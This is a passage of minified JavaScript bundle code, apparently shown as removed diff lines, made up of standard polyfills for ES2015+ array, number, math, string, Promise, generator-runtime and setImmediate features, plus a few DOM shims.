(e === undefined && t === 0) return []; - if (!r(e)) return a.call(i, e, t); - var n = []; - var o = (e.ignoreCase ? "i" : "") + (e.multiline ? "m" : "") + (e.unicode ? "u" : "") + (e.sticky ? "y" : ""); - var f = 0; - var c = t === undefined ? 4294967295 : t >>> 0; - var h = new RegExp(e.source, o + "g"); - var m, p, v, _, g; - if (!d) m = new RegExp("^" + h.source + "$(?!\\s)", o); - while (p = h.exec(i)) { - v = p.index + p[0][l]; - if (v > f) { - n.push(i.slice(f, p.index)); - if (!d && p[l] > 1) p[0].replace(m, function () { - for (g = 1; g < arguments[l] - 2; g++) - if (arguments[g] === undefined) p[g] = undefined - }); - if (p[l] > 1 && p.index < i[l]) s.apply(n, p.slice(1)); - _ = p[0][l]; - f = v; - if (n[l] >= c) break - } - if (h[u] === p.index) h[u]++ - } - if (f === i[l]) { - if (_ || !h.test("")) n.push("") - } else n.push(i.slice(f)); - return n[l] > c ? n.slice(0, c) : n - } - } else if ("0" [o](undefined, 0)[l]) { - n = function (e, t) { - return e === undefined && t === 0 ? [] : a.call(this, e, t) - } - } - return [function i(r, a) { - var s = e(this); - var o = r == undefined ? undefined : r[t]; - return o !== undefined ? o.call(r, s, a) : n.call(String(s), r, a) - }, n] - }) - }, function (e, t, i) { - i(78)("search", 1, function (e, t, i) { - return [function i(n) { - "use strict"; - var r = e(this); - var a = n == undefined ? undefined : n[t]; - return a !== undefined ? a.call(n, r) : new RegExp(n)[t](String(r)) - }, i] - }) - }, function (e, t, i) { - "use strict"; - var n = i(25); - var r = i(0); - var a = i(26); - var s = i(137); - var o = i(100); - var l = i(17); - var u = i(107); - var d = i(101); - r(r.S + r.F * !i(73)(function (e) { - Array.from(e) - }), "Array", { - from: function e(t) { - var i = a(t); - var r = typeof this == "function" ? this : Array; - var f = arguments.length; - var c = f > 1 ? arguments[1] : undefined; - var h = c !== undefined; - var m = 0; - var p = d(i); - var v, _, g, y; - if (h) c = n(c, f > 2 ? arguments[2] : undefined, 2); - if (p != undefined && !(r == Array && o(p))) { - for (y = p.call(i), _ = new r; !(g = y.next()).done; m++) { - u(_, m, h ? s(y, c, [g.value, m], true) : g.value) - } - } else { - v = l(i.length); - for (_ = new r(v); v > m; m++) { - u(_, m, h ? c(i[m], m) : i[m]) - } - } - _.length = m; - return _ - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(107); - n(n.S + n.F * i(12)(function () { - function e() {} - return !(Array.of.call(e) instanceof e) - }), "Array", { of: function e() { - var t = 0; - var i = arguments.length; - var n = new(typeof this == "function" ? this : Array)(i); - while (i > t) r(n, t, arguments[t++]); - n.length = i; - return n - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.P, "Array", { - copyWithin: i(135) - }); - i(56)("copyWithin") - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(66)(5); - var a = "find"; - var s = true; - if (a in []) Array(1)[a](function () { - s = false - }); - n(n.P + n.F * s, "Array", { - find: function e(t) { - return r(this, t, arguments.length > 1 ? arguments[1] : undefined) - } - }); - i(56)(a) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(66)(6); - var a = "findIndex"; - var s = true; - if (a in []) Array(1)[a](function () { - s = false - }); - n(n.P + n.F * s, "Array", { - findIndex: function e(t) { - return r(this, t, arguments.length > 1 ? arguments[1] : undefined) - } - }); - i(56)(a) - }, function (e, t, i) { - var n = i(0); - n(n.P, "Array", { - fill: i(97) - }); - i(56)("fill") - }, function (e, t, i) { - var n = i(0); - var r = i(9).isFinite; - n(n.S, "Number", { - isFinite: function e(t) { - return typeof t == "number" && r(t) - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Number", { - isInteger: i(147) - }) - }, function (e, t, i) { - var n = i(0); - var r = i(147); - var a = Math.abs; - n(n.S, "Number", { - isSafeInteger: function e(t) { - return r(t) && a(t) <= 9007199254740991 - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Number", { - isNaN: function e(t) { - return t != t - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Number", { - EPSILON: Math.pow(2, -52) - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Number", { - MIN_SAFE_INTEGER: -9007199254740991 - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Number", { - MAX_SAFE_INTEGER: 9007199254740991 - }) - }, function (e, t, i) { - var n = i(0); - var r = i(148); - var a = Math.sqrt; - var s = Math.acosh; - n(n.S + n.F * !(s && Math.floor(s(Number.MAX_VALUE)) == 710 && s(Infinity) == Infinity), "Math", { - acosh: function e(t) { - return (t = +t) < 1 ? NaN : t > 94906265.62425156 ? Math.log(t) + Math.LN2 : r(t - 1 + a(t - 1) * a(t + 1)) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = Math.asinh; - - function a(e) { - return !isFinite(e = +e) || e == 0 ? e : e < 0 ? -a(-e) : Math.log(e + Math.sqrt(e * e + 1)) - } - n(n.S + n.F * !(r && 1 / r(0) > 0), "Math", { - asinh: a - }) - }, function (e, t, i) { - var n = i(0); - var r = Math.atanh; - n(n.S + n.F * !(r && 1 / r(-0) < 0), "Math", { - atanh: function e(t) { - return (t = +t) == 0 ? t : Math.log((1 + t) / (1 - t)) / 2 - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(108); - n(n.S, "Math", { - cbrt: function e(t) { - return r(t = +t) * Math.pow(Math.abs(t), 1 / 3) - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - clz32: function e(t) { - return (t >>>= 0) ? 31 - Math.floor(Math.log(t + .5) * Math.LOG2E) : 32 - } - }) - }, function (e, t, i) { - var n = i(0); - var r = Math.exp; - n(n.S, "Math", { - cosh: function e(t) { - return (r(t = +t) + r(-t)) / 2 - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(109); - n(n.S + n.F * (r != Math.expm1), "Math", { - expm1: r - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - fround: i(364) - }) - }, function (e, t, i) { - var n = i(108); - var r = Math.pow; - var a = r(2, -52); - var s = r(2, -23); - var o = r(2, 127) * (2 - s); - var l = r(2, -126); - var u = function (e) { - return e + 1 / a - 1 / a - }; - e.exports = Math.fround || function e(t) { - var i = Math.abs(t); - var r = n(t); - var d, f; - if (i < l) return r * u(i / l / s) * l * s; - d = (1 + s / a) * i; - f = d - (d - i); - if (f > o || f != f) return r * Infinity; - return r * f - } - }, function (e, t, i) { - var n = i(0); - var r = Math.abs; - n(n.S, "Math", { - hypot: function e(t, i) { - var n = 0; - var a = 0; - var s = arguments.length; - var o = 0; - var l, u; - while (a < s) { - l = r(arguments[a++]); - if (o < l) { - u = o / l; - n = n * u * u + 1; - o = l - } else if (l > 0) { - u = l / o; - n += u * u - } else n += l - } - return o === Infinity ? Infinity : o * Math.sqrt(n) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = Math.imul; - n(n.S + n.F * i(12)(function () { - return r(4294967295, 5) != -5 || r.length != 2 - }), "Math", { - imul: function e(t, i) { - var n = 65535; - var r = +t; - var a = +i; - var s = n & r; - var o = n & a; - return 0 | s * o + ((n & r >>> 16) * o + s * (n & a >>> 16) << 16 >>> 0) - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - log1p: i(148) - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - log10: function e(t) { - return Math.log(t) * Math.LOG10E - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - log2: function e(t) { - return Math.log(t) / Math.LN2 - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - sign: i(108) - }) - }, function (e, t, i) { - var n = i(0); - var r = i(109); - var a = Math.exp; - n(n.S + n.F * i(12)(function () { - return !Math.sinh(-2e-17) != -2e-17 - }), "Math", { - sinh: function e(t) { - return Math.abs(t = +t) < 1 ? (r(t) - r(-t)) / 2 : (a(t - 1) - a(-t - 1)) * (Math.E / 2) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(109); - var a = Math.exp; - n(n.S, "Math", { - tanh: function e(t) { - var i = r(t = +t); - var n = r(-t); - return i == Infinity ? 1 : n == Infinity ? -1 : (i - n) / (a(t) + a(-t)) - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Math", { - trunc: function e(t) { - return (t > 0 ? Math.floor : Math.ceil)(t) - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(93)(true); - n(n.P, "Array", { - includes: function e(t) { - return r(this, t, arguments.length > 1 ? arguments[1] : undefined) - } - }); - i(56)("includes") - }, function (e, t, i) { - var n = i(0); - var r = i(149)(false); - n(n.S, "Object", { - values: function e(t) { - return r(t) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(149)(true); - n(n.S, "Object", { - entries: function e(t) { - return r(t) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(141); - var a = i(22); - var s = i(28); - var o = i(107); - n(n.S, "Object", { - getOwnPropertyDescriptors: function e(t) { - var i = a(t); - var n = s.f; - var l = r(i); - var u = {}; - var d = 0; - var f, c; - while (l.length > d) { - c = n(i, f = l[d++]); - if (c !== undefined) o(u, f, c) - } - return u - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(150); - var a = i(77); - n(n.P + n.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(a), "String", { - padStart: function e(t) { - return r(this, t, arguments.length > 1 ? arguments[1] : undefined, true) - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(150); - var a = i(77); - n(n.P + n.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(a), "String", { - padEnd: function e(t) { - return r(this, t, arguments.length > 1 ? arguments[1] : undefined, false) - } - }) - }, function (e, t, i) { - var n = i(9); - var r = i(0); - var a = i(77); - var s = [].slice; - var o = /MSIE .\./.test(a); - var l = function (e) { - return function (t, i) { - var n = arguments.length > 2; - var r = n ? s.call(arguments, 2) : false; - return e(n ? function () { - (typeof t == "function" ? t : Function(t)).apply(this, r) - } : t, i) - } - }; - r(r.G + r.B + r.F * o, { - setTimeout: l(n.setTimeout), - setInterval: l(n.setInterval) - }) - }, function (e, t, i) { - var n = i(0); - var r = i(104); - n(n.G + n.B, { - setImmediate: r.set, - clearImmediate: r.clear - }) - }, function (e, t, i) { - var n = i(102); - var r = i(43); - var a = i(32); - var s = i(9); - var o = i(19); - var l = i(54); - var u = i(11); - var d = u("iterator"); - var f = u("toStringTag"); - var c = l.Array; - var h = { - CSSRuleList: true, - CSSStyleDeclaration: false, - CSSValueList: false, - ClientRectList: false, - DOMRectList: false, - DOMStringList: false, - DOMTokenList: true, - DataTransferItemList: false, - FileList: false, - HTMLAllCollection: false, - HTMLCollection: false, - HTMLFormElement: false, - HTMLSelectElement: false, - MediaList: true, - MimeTypeArray: false, - NamedNodeMap: false, - NodeList: true, - PaintRequestList: false, - Plugin: false, - PluginArray: false, - SVGLengthList: false, - SVGNumberList: false, - SVGPathSegList: false, - SVGPointList: false, - SVGStringList: false, - SVGTransformList: false, - SourceBufferList: false, - StyleSheetList: true, - TextTrackCueList: false, - TextTrackList: false, - TouchList: false - }; - for (var m = r(h), p = 0; p < m.length; p++) { - var v = m[p]; - var _ = h[v]; - var g = s[v]; - var y = g && g.prototype; - var b; - if (y) { - if (!y[d]) o(y, d, c); - if (!y[f]) o(y, f, v); - l[v] = c; - if (_) - for (b in n) - if (!y[b]) a(y, b, n[b], true) - } - } - }, function (e, t, i) { - (function (t) { - ! function (t) { - "use strict"; - var i = Object.prototype; - var n = i.hasOwnProperty; - var r; - var a = typeof Symbol === "function" ? Symbol : {}; - var s = a.iterator || "@@iterator"; - var o = a.asyncIterator || "@@asyncIterator"; - var l = a.toStringTag || "@@toStringTag"; - var u = typeof e === "object"; - var d = t.regeneratorRuntime; - if (d) { - if (u) { - e.exports = d - } - return - } - d = t.regeneratorRuntime = u ? e.exports : {}; - - function f(e, t, i, n) { - var r = t && t.prototype instanceof g ? t : g; - var a = Object.create(r.prototype); - var s = new C(n || []); - a._invoke = S(e, i, s); - return a - } - d.wrap = f; - - function c(e, t, i) { - try { - return { - type: "normal", - arg: e.call(t, i) - } - } catch (e) { - return { - type: "throw", - arg: e - } - } - } - var h = "suspendedStart"; - var m = "suspendedYield"; - var p = "executing"; - var v = "completed"; - var _ = {}; - - function g() {} - - function y() {} - - function b() {} - var w = {}; - w[s] = function () { - return this - }; - var M = Object.getPrototypeOf; - var k = M && M(M(P([]))); - if (k && k !== i && n.call(k, s)) { - w = k - } - var L = b.prototype = g.prototype = Object.create(w); - y.prototype = L.constructor = b; - b.constructor = y; - b[l] = y.displayName = "GeneratorFunction"; - - function T(e) { - ["next", "throw", "return"].forEach(function (t) { - e[t] = function (e) { - return this._invoke(t, e) - } - }) - } - d.isGeneratorFunction = function (e) { - var t = typeof e === "function" && e.constructor; - return t ? t === y || (t.displayName || t.name) === "GeneratorFunction" : false - }; - d.mark = function (e) { - if (Object.setPrototypeOf) { - Object.setPrototypeOf(e, b) - } else { - e.__proto__ = b; - if (!(l in e)) { - e[l] = "GeneratorFunction" - } - } - e.prototype = Object.create(L); - return e - }; - d.awrap = function (e) { - return { - __await: e - } - }; - - function x(e) { - function i(t, r, a, s) { - var o = c(e[t], e, r); - if (o.type === "throw") { - s(o.arg) - } else { - var l = o.arg; - var u = l.value; - if (u && typeof u === "object" && n.call(u, "__await")) { - return Promise.resolve(u.__await).then(function (e) { - i("next", e, a, s) - }, function (e) { - i("throw", e, a, s) - }) - } - return Promise.resolve(u).then(function (e) { - l.value = e; - a(l) - }, s) - } - } - if (typeof t.process === "object" && t.process.domain) { - i = t.process.domain.bind(i) - } - var r; - - function a(e, t) { - function n() { - return new Promise(function (n, r) { - i(e, t, n, r) - }) - } - return r = r ? r.then(n, n) : n() - } - this._invoke = a - } - T(x.prototype); - x.prototype[o] = function () { - return this - }; - d.AsyncIterator = x; - d.async = function (e, t, i, n) { - var r = new x(f(e, t, i, n)); - return d.isGeneratorFunction(t) ? r : r.next().then(function (e) { - return e.done ? e.value : r.next() - }) - }; - - function S(e, t, i) { - var n = h; - return function r(a, s) { - if (n === p) { - throw new Error("Generator is already running") - } - if (n === v) { - if (a === "throw") { - throw s - } - return A() - } - i.method = a; - i.arg = s; - while (true) { - var o = i.delegate; - if (o) { - var l = Y(o, i); - if (l) { - if (l === _) continue; - return l - } - } - if (i.method === "next") { - i.sent = i._sent = i.arg - } else if (i.method === "throw") { - if (n === h) { - n = v; - throw i.arg - } - i.dispatchException(i.arg) - } else if (i.method === "return") { - i.abrupt("return", i.arg) - } - n = p; - var u = c(e, t, i); - if (u.type === "normal") { - n = i.done ? v : m; - if (u.arg === _) { - continue - } - return { - value: u.arg, - done: i.done - } - } else if (u.type === "throw") { - n = v; - i.method = "throw"; - i.arg = u.arg - } - } - } - } - - function Y(e, t) { - var i = e.iterator[t.method]; - if (i === r) { - t.delegate = null; - if (t.method === "throw") { - if (e.iterator.return) { - t.method = "return"; - t.arg = r; - Y(e, t); - if (t.method === "throw") { - return _ - } - } - t.method = "throw"; - t.arg = new TypeError("The iterator does not provide a 'throw' method") - } - return _ - } - var n = c(i, e.iterator, t.arg); - if (n.type === "throw") { - t.method = "throw"; - t.arg = n.arg; - t.delegate = null; - return _ - } - var a = n.arg; - if (!a) { - t.method = "throw"; - t.arg = new TypeError("iterator result is not an object"); - t.delegate = null; - return _ - } - if (a.done) { - t[e.resultName] = a.value; - t.next = e.nextLoc; - if (t.method !== "return") { - t.method = "next"; - t.arg = r - } - } else { - return a - } - t.delegate = null; - return _ - } - T(L); - L[l] = "Generator"; - L[s] = function () { - return this - }; - L.toString = function () { - return "[object Generator]" - }; - - function D(e) { - var t = { - tryLoc: e[0] - }; - if (1 in e) { - t.catchLoc = e[1] - } - if (2 in e) { - t.finallyLoc = e[2]; - t.afterLoc = e[3] - } - this.tryEntries.push(t) - } - - function E(e) { - var t = e.completion || {}; - t.type = "normal"; - delete t.arg; - e.completion = t - } - - function C(e) { - this.tryEntries = [{ - tryLoc: "root" - }]; - e.forEach(D, this); - this.reset(true) - } - d.keys = function (e) { - var t = []; - for (var i in e) { - t.push(i) - } - t.reverse(); - return function i() { - while (t.length) { - var n = t.pop(); - if (n in e) { - i.value = n; - i.done = false; - return i - } - } - i.done = true; - return i - } - }; - - function P(e) { - if (e) { - var t = e[s]; - if (t) { - return t.call(e) - } - if (typeof e.next === "function") { - return e - } - if (!isNaN(e.length)) { - var i = -1, - a = function t() { - while (++i < e.length) { - if (n.call(e, i)) { - t.value = e[i]; - t.done = false; - return t - } - } - t.value = r; - t.done = true; - return t - }; - return a.next = a - } - } - return { - next: A - } - } - d.values = P; - - function A() { - return { - value: r, - done: true - } - } - C.prototype = { - constructor: C, - reset: function (e) { - this.prev = 0; - this.next = 0; - this.sent = this._sent = r; - this.done = false; - this.delegate = null; - this.method = "next"; - this.arg = r; - this.tryEntries.forEach(E); - if (!e) { - for (var t in this) { - if (t.charAt(0) === "t" && n.call(this, t) && !isNaN(+t.slice(1))) { - this[t] = r - } - } - } - }, - stop: function () { - this.done = true; - var e = this.tryEntries[0]; - var t = e.completion; - if (t.type === "throw") { - throw t.arg - } - return this.rval - }, - dispatchException: function (e) { - if (this.done) { - throw e - } - var t = this; - - function i(i, n) { - o.type = "throw"; - o.arg = e; - t.next = i; - if (n) { - t.method = "next"; - t.arg = r - } - return !!n - } - for (var a = this.tryEntries.length - 1; a >= 0; --a) { - var s = this.tryEntries[a]; - var o = s.completion; - if (s.tryLoc === "root") { - return i("end") - } - if (s.tryLoc <= this.prev) { - var l = n.call(s, "catchLoc"); - var u = n.call(s, "finallyLoc"); - if (l && u) { - if (this.prev < s.catchLoc) { - return i(s.catchLoc, true) - } else if (this.prev < s.finallyLoc) { - return i(s.finallyLoc) - } - } else if (l) { - if (this.prev < s.catchLoc) { - return i(s.catchLoc, true) - } - } else if (u) { - if (this.prev < s.finallyLoc) { - return i(s.finallyLoc) - } - } else { - throw new Error("try statement without catch or finally") - } - } - } - }, - abrupt: function (e, t) { - for (var i = this.tryEntries.length - 1; i >= 0; --i) { - var r = this.tryEntries[i]; - if (r.tryLoc <= this.prev && n.call(r, "finallyLoc") && this.prev < r.finallyLoc) { - var a = r; - break - } - } - if (a && (e === "break" || e === "continue") && a.tryLoc <= t && t <= a.finallyLoc) { - a = null - } - var s = a ? a.completion : {}; - s.type = e; - s.arg = t; - if (a) { - this.method = "next"; - this.next = a.finallyLoc; - return _ - } - return this.complete(s) - }, - complete: function (e, t) { - if (e.type === "throw") { - throw e.arg - } - if (e.type === "break" || e.type === "continue") { - this.next = e.arg - } else if (e.type === "return") { - this.rval = this.arg = e.arg; - this.method = "return"; - this.next = "end" - } else if (e.type === "normal" && t) { - this.next = t - } - return _ - }, - finish: function (e) { - for (var t = this.tryEntries.length - 1; t >= 0; --t) { - var i = this.tryEntries[t]; - if (i.finallyLoc === e) { - this.complete(i.completion, i.afterLoc); - E(i); - return _ - } - } - }, - catch: function (e) { - for (var t = this.tryEntries.length - 1; t >= 0; --t) { - var i = this.tryEntries[t]; - if (i.tryLoc === e) { - var n = i.completion; - if (n.type === "throw") { - var r = n.arg; - E(i) - } - return r - } - } - throw new Error("illegal catch attempt") - }, - delegateYield: function (e, t, i) { - this.delegate = { - iterator: P(e), - resultName: t, - nextLoc: i - }; - if (this.method === "next") { - this.arg = r - } - return _ - } - } - }(typeof t === "object" ? t : typeof window === "object" ? window : typeof self === "object" ? self : this) - }).call(t, i(79)) - }, function (e, t, i) { - "use strict"; - var n = i(13); - var r = a(n); - - function a(e) { - return e && e.__esModule ? e : { - default: e - } - } - i(385); - if (!Element.prototype.matches) Element.prototype.matches = Element.prototype.msMatchesSelector || Element.prototype.webkitMatchesSelector; - if (!Element.prototype.closest) Element.prototype.closest = function (e) { - var t = this; - while (t) { - if (t.matches && t.matches(e)) { - return t - } - t = t.parentElement - } - }; - if (!Array.isArray) { - Array.isArray = function (e) { - return Object.prototype.toString.call(e) === "[object Array]" - } - } - if (!r.default) { - Array.from = function () { - var e = Object.prototype.toString; - var t = function t(i) { - return typeof i === "function" || e.call(i) === "[object Function]" - }; - var i = function e(t) { - var i = Number(t); - if (isNaN(i)) { - return 0 - } - if (i === 0 || !isFinite(i)) { - return i - } - return (i > 0 ? 1 : -1) * Math.floor(Math.abs(i)) - }; - var n = Math.pow(2, 53) - 1; - var r = function e(t) { - var r = i(t); - return Math.min(Math.max(r, 0), n) - }; - return function e(i) { - var n = this; - var a = Object(i); - if (i == null) { - throw new TypeError("Array.from requires an array-like object - not null or undefined") - } - var s = arguments.length > 1 ? arguments[1] : void undefined; - var o; - if (typeof s !== "undefined") { - if (!t(s)) { - throw new TypeError("Array.from: when provided, the second argument must be a function") - } - if (arguments.length > 2) { - o = arguments[2] - } - } - var l = r(a.length); - var u = t(n) ? Object(new n(l)) : new Array(l); - var d = 0; - var f; - while (d < l) { - f = a[d]; - if (s) { - u[d] = typeof o === "undefined" ? s(f, d) : s.call(o, f, d) - } else { - u[d] = f - } - d += 1 - } - u.length = l; - return u - } - }() - }(function () { - if (typeof window.CustomEvent === "function") return false; - - function e(e, t) { - t = t || { - bubbles: false, - cancelable: false, - detail: undefined - }; - var i = document.createEvent("CustomEvent"); - i.initCustomEvent(e, t.bubbles, t.cancelable, t.detail); - return i - } - e.prototype = window.Event.prototype; - window.CustomEvent = e - })(); - if (!Array.prototype.find) { - Object.defineProperty(Array.prototype, "find", { - value: function e(t) { - if (this == null) { - throw new TypeError('"this" is null or not defined') - } - var i = Object(this); - var n = i.length >>> 0; - if (typeof t !== "function") { - throw new TypeError("predicate must be a function") - } - var r = arguments[1]; - var a = 0; - while (a < n) { - var s = i[a]; - if (t.call(r, s, a, i)) { - return s - } - a++ - } - return undefined - } - }) - } - if (!Array.prototype.findIndex) { - Object.defineProperty(Array.prototype, "findIndex", { - value: function e(t) { - if (this == null) { - throw new TypeError('"this" is null or not defined') - } - var i = Object(this); - var n = i.length >>> 0; - if (typeof t !== "function") { - throw new TypeError("predicate must be a function") - } - var r = arguments[1]; - var a = 0; - while (a < n) { - var s = i[a]; - if (t.call(r, s, a, i)) { - return a - } - a++ - } - return -1 - } - }) - } - if (!Array.prototype.forEach) { - Array.prototype.forEach = function (e) { - var t, i; - if (this == null) { - throw new TypeError("this is null or not defined") - } - var n = Object(this); - var r = n.length >>> 0; - if (typeof e !== "function") { - throw new TypeError(e + " is not a function") - } - if (arguments.length > 1) { - t = arguments[1] - } - i = 0; - while (i < r) { - var a; - if (i in n) { - a = n[i]; - e.call(t, a, i, n) - } - i++ - } - } - }(function (e) { - e.forEach(function (e) { - if (e.hasOwnProperty("remove")) { - return - } - Object.defineProperty(e, "remove", { - configurable: true, - enumerable: true, - writable: true, - value: function e() { - if (this.parentNode !== null) this.parentNode.removeChild(this) - } - }) - }) - })([Element.prototype, CharacterData.prototype, DocumentType.prototype]); - if (Element.prototype.getAttributeNames == undefined) { - Element.prototype.getAttributeNames = function () { - var e = this.attributes; - var t = e.length; - var i = new Array(t); - for (var n = 0; n < t; n++) { - i[n] = e[n].name - } - return i - } - } - }, function (e, t) { - e.exports = l - }, function (t, i) { - t.exports = e - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - (function (e) { - var t = i(388); - var n = i(151); - var r = function () { - if (typeof self !== "undefined") { - return self - } - if (typeof window !== "undefined") { - return window - } - if (typeof e !== "undefined") { - return e - } - throw new Error("unable to locate global object") - }(); - if (!("Promise" in r)) { - r["Promise"] = t["a"] - } else if (!r.Promise.prototype["finally"]) { - r.Promise.prototype["finally"] = n["a"] - } - }).call(t, i(79)) - }, function (e, t, i) { - "use strict"; - (function (e) { - var n = i(151); - var r = setTimeout; - - function a() {} - - function s(e, t) { - return function () { - e.apply(t, arguments) - } - } - - function o(e) { - if (!(this instanceof o)) throw new TypeError("Promises must be constructed via new"); - if (typeof e !== "function") throw new TypeError("not a function"); - this._state = 0; - this._handled = false; - this._value = undefined; - this._deferreds = []; - h(e, this) - } - - function l(e, t) { - while (e._state === 3) { - e = e._value - } - if (e._state === 0) { - e._deferreds.push(t); - return - } - e._handled = true; - o._immediateFn(function () { - var i = e._state === 1 ? t.onFulfilled : t.onRejected; - if (i === null) { - (e._state === 1 ? u : d)(t.promise, e._value); - return - } - var n; - try { - n = i(e._value) - } catch (e) { - d(t.promise, e); - return - } - u(t.promise, n) - }) - } - - function u(e, t) { - try { - if (t === e) throw new TypeError("A promise cannot be resolved with itself."); - if (t && (typeof t === "object" || typeof t === "function")) { - var i = t.then; - if (t instanceof o) { - e._state = 3; - e._value = t; - f(e); - return - } else if (typeof i === "function") { - h(s(i, t), e); - return - } - } - e._state = 1; - e._value = t; - f(e) - } catch (t) { - d(e, t) - } - } - - function d(e, t) { - e._state = 2; - e._value = t; - f(e) - } - - function f(e) { - if (e._state === 2 && e._deferreds.length === 0) { - o._immediateFn(function () { - if (!e._handled) { - o._unhandledRejectionFn(e._value) - } - }) - } - for (var t = 0, i = e._deferreds.length; t < i; t++) { - l(e, e._deferreds[t]) - } - e._deferreds = null - } - - function c(e, t, i) { - this.onFulfilled = typeof e === "function" ? e : null; - this.onRejected = typeof t === "function" ? t : null; - this.promise = i - } - - function h(e, t) { - var i = false; - try { - e(function (e) { - if (i) return; - i = true; - u(t, e) - }, function (e) { - if (i) return; - i = true; - d(t, e) - }) - } catch (e) { - if (i) return; - i = true; - d(t, e) - } - } - o.prototype["catch"] = function (e) { - return this.then(null, e) - }; - o.prototype.then = function (e, t) { - var i = new this.constructor(a); - l(this, new c(e, t, i)); - return i - }; - o.prototype["finally"] = n["a"]; - o.all = function (e) { - return new o(function (t, i) { - if (!e || typeof e.length === "undefined") throw new TypeError("Promise.all accepts an array"); - var n = Array.prototype.slice.call(e); - if (n.length === 0) return t([]); - var r = n.length; - - function a(e, s) { - try { - if (s && (typeof s === "object" || typeof s === "function")) { - var o = s.then; - if (typeof o === "function") { - o.call(s, function (t) { - a(e, t) - }, i); - return - } - } - n[e] = s; - if (--r === 0) { - t(n) - } - } catch (e) { - i(e) - } - } - for (var s = 0; s < n.length; s++) { - a(s, n[s]) - } - }) - }; - o.resolve = function (e) { - if (e && typeof e === "object" && e.constructor === o) { - return e - } - return new o(function (t) { - t(e) - }) - }; - o.reject = function (e) { - return new o(function (t, i) { - i(e) - }) - }; - o.race = function (e) { - return new o(function (t, i) { - for (var n = 0, r = e.length; n < r; n++) { - e[n].then(t, i) - } - }) - }; - o._immediateFn = typeof e === "function" && function (t) { - e(t) - } || function (e) { - r(e, 0) - }; - o._unhandledRejectionFn = function e(t) { - if (typeof console !== "undefined" && console) { - console.warn("Possible Unhandled Promise Rejection:", t) - } - }; - t["a"] = o - }).call(t, i(389).setImmediate) - }, function (e, t, i) { - (function (e) { - var n = typeof e !== "undefined" && e || typeof self !== "undefined" && self || window; - var r = Function.prototype.apply; - t.setTimeout = function () { - return new a(r.call(setTimeout, n, arguments), clearTimeout) - }; - t.setInterval = function () { - return new a(r.call(setInterval, n, arguments), clearInterval) - }; - t.clearTimeout = t.clearInterval = function (e) { - if (e) { - e.close() - } - }; - - function a(e, t) { - this._id = e; - this._clearFn = t - } - a.prototype.unref = a.prototype.ref = function () {}; - a.prototype.close = function () { - this._clearFn.call(n, this._id) - }; - t.enroll = function (e, t) { - clearTimeout(e._idleTimeoutId); - e._idleTimeout = t - }; - t.unenroll = function (e) { - clearTimeout(e._idleTimeoutId); - e._idleTimeout = -1 - }; - t._unrefActive = t.active = function (e) { - clearTimeout(e._idleTimeoutId); - var t = e._idleTimeout; - if (t >= 0) { - e._idleTimeoutId = setTimeout(function t() { - if (e._onTimeout) e._onTimeout() - }, t) - } - }; - i(390); - t.setImmediate = typeof self !== "undefined" && self.setImmediate || typeof e !== "undefined" && e.setImmediate || this && this.setImmediate; - t.clearImmediate = typeof self !== "undefined" && self.clearImmediate || typeof e !== "undefined" && e.clearImmediate || this && this.clearImmediate - }).call(t, i(79)) - }, function (e, t, i) { - (function (e, t) { - (function (e, i) { - "use strict"; - if (e.setImmediate) { - return - } - var n = 1; - var r = {}; - var a = false; - var s = e.document; - var o; - - function l(e) { - if (typeof e !== "function") { - e = new Function("" + e) - } - var t = new Array(arguments.length - 1); - for (var i = 0; i < t.length; i++) { - t[i] = arguments[i + 1] - } - var a = { - callback: e, - args: t - }; - r[n] = a; - o(n); - return n++ - } - - function u(e) { - delete r[e] - } - - function d(e) { - var t = e.callback; - var n = e.args; - switch (n.length) { - case 0: - t(); - break; - case 1: - t(n[0]); - break; - case 2: - t(n[0], n[1]); - break; - case 3: - t(n[0], n[1], n[2]); - break; - default: - t.apply(i, n); - break - } - } - - function f(e) { - if (a) { - setTimeout(f, 0, e) - } else { - var t = r[e]; - if (t) { - a = true; - try { - d(t) - } finally { - u(e); - a = false - } - } - } - } - - function c() { - o = function (e) { - t.nextTick(function () { - f(e) - }) - } - } - - function h() { - if (e.postMessage && !e.importScripts) { - var t = true; - var i = e.onmessage; - e.onmessage = function () { - t = false - }; - e.postMessage("", "*"); - e.onmessage = i; - return t - } - } - - function m() { - var t = "setImmediate$" + Math.random() + "$"; - var i = function (i) { - if (i.source === e && typeof i.data === "string" && i.data.indexOf(t) === 0) { - f(+i.data.slice(t.length)) - } - }; - if (e.addEventListener) { - e.addEventListener("message", i, false) - } else { - e.attachEvent("onmessage", i) - } - o = function (i) { - e.postMessage(t + i, "*") - } - } - - function p() { - var e = new MessageChannel; - e.port1.onmessage = function (e) { - var t = e.data; - f(t) - }; - o = function (t) { - e.port2.postMessage(t) - } - } - - function v() { - var e = s.documentElement; - o = function (t) { - var i = s.createElement("script"); - i.onreadystatechange = function () { - f(t); - 